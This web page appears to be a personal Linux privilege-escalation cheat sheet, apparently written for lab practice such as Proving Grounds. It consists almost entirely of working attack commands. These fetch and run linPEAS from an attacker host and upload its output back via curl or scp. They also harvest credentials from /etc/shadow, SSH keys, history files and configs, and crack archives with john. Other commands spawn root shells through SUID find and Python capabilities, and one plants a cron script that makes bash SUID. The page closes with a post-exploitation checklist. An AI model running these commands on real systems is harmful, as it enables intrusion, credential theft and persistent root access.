Skip to main content

Linux privilege escalation

Automated Enumeration
#

linPEAS collection and parsing
#

Download, run, and upload to workstation for review:

curl "http://$LHOST/linpeas.sh" -o /tmp/working/linpeas.sh
chmod +x /tmp/working/linpeas.sh
bash /tmp/working/linpeas.sh | tee /tmp/working/linpeas.out
curl -X POST --data-binary @/tmp/working/linpeas.out "http://$LHOST/upload?name=linpeas.out"

Fallback download:

mkdir -p /tmp/working
wget "http://$LHOST/linpeas.sh" -O /tmp/working/linpeas.sh
chmod +x /tmp/working/linpeas.sh
bash /tmp/working/linpeas.sh | tee /tmp/working/linpeas.out

If the upload endpoint is not reachable:

scp /tmp/working/linpeas.out "kali@$LHOST:/tmp/"

Parsers:

Situational Awareness
#

Show current user and host
#

id
hostname
uname -a
cat /etc/os-release

Inspect files near you
#

pwd
ls -al

List real users
#

Manually test su user:user, to guess weak credentials.

awk -F: '$3 >= 1000 {print $1}' /etc/passwd

Proving Grounds, PayDay

Print Environment Variables#

env

Check sudo
#

sudo -l

Show processes and listening ports
#

ps aux
ss -antup
ip a
ip route

Watch short-lived processes with pspy
#

./pspy64

Credential Hunting
#

Search for interesting files/folders
#

ls -al /home

find /home -type f 2>/dev/null

ls -al /opt /var /tmp

ls -l /etc/passwd

ls -l /etc/shadow

Check bash history and keys
#

cat ~/.bash_history
find /home -name ".*history" 2>/dev/null
grep -rni 'PRIVATE KEY' /home 2>/dev/null

Search for creds in configs
#

grep -rni --color=always 'password\|secret\|key\|token' /etc 2>/dev/null
grep -Horn password /var/www
find / -regextype posix-egrep -regex ".*\.(bak|zip|tar|gz)$" 2>/dev/null
cat /var/www/html/config.php 2>/dev/null
find /opt -name "*.conf" 2>/dev/null

Pull app and database configs
#

find /var/www /opt /srv -type f \( -name ".env" -o -name "web.config" -o -name "config.php" -o -name "*.ini" -o -name "*.conf" -o -name "*.yml" -o -name "*.yaml" \) 2>/dev/null
grep -RniE 'DB_|database|username|password|dsn|bindpw' /var/www /opt /srv 2>/dev/null

List cron and timers
#

ls -lah /etc/cron*
cat /etc/crontab
crontab -l
systemctl list-timers --all

Show timer and service definitions
#

systemctl cat <timer>.timer
systemctl cat <service>.service
systemctl status <timer>.timer
systemctl status <service>.service

Find writable systemd paths
#

find /etc/systemd /lib/systemd /usr/lib/systemd -writable 2>/dev/null

Find writable directories
#

find / -writable -type d 2>/dev/null

Find SUID, SGID, and capabilities
#

find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
getcap -r / 2>/dev/null

Check local databases with found creds
#

mysql -u root -p -h 127.0.0.1
mysql -u <user> -p'<password>' -h 127.0.0.1
psql -h 127.0.0.1 -U <user> -d <db>
sqlite3 /path/to/app.db

Crack and inspect archives
#

zip2john backup.zip > backup.hash
john backup.hash --wordlist=/usr/share/wordlists/rockyou.txt
tar tf backup.tar
unzip backup.zip

Check sensitive files
#

cat /etc/shadow 2>/dev/null
cat /etc/sudoers 2>/dev/null
cat /root/.ssh/id_rsa 2>/dev/null

Abuse SUID on common interpreters
#

find / -perm -u=s -type f 2>/dev/null
/usr/bin/find . -exec /bin/sh -p \; -quit

Abuse capabilities on Python
#

getcap -r / 2>/dev/null
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Abuse writable cron or service path
#

echo '/bin/bash -c "chmod u+s /bin/bash"' > /tmp/run.sh
chmod +x /tmp/run.sh

Post-exploitation after root
#

Do this before pivoting:

  • dump /etc/shadow
  • review all shell histories
  • search /root and /home for keys and passwords
  • dump app and database creds
  • crack archives and inspect contents, not just filenames
  • if a useful service is bound to 127.0.0.1, forward it now
  • pull LDAP, MySQL, web app, and backup configs while you still have context
  • check extra NICs, routes, listening ports, /etc/hosts
  • test found creds on SSH, databases, and other hosts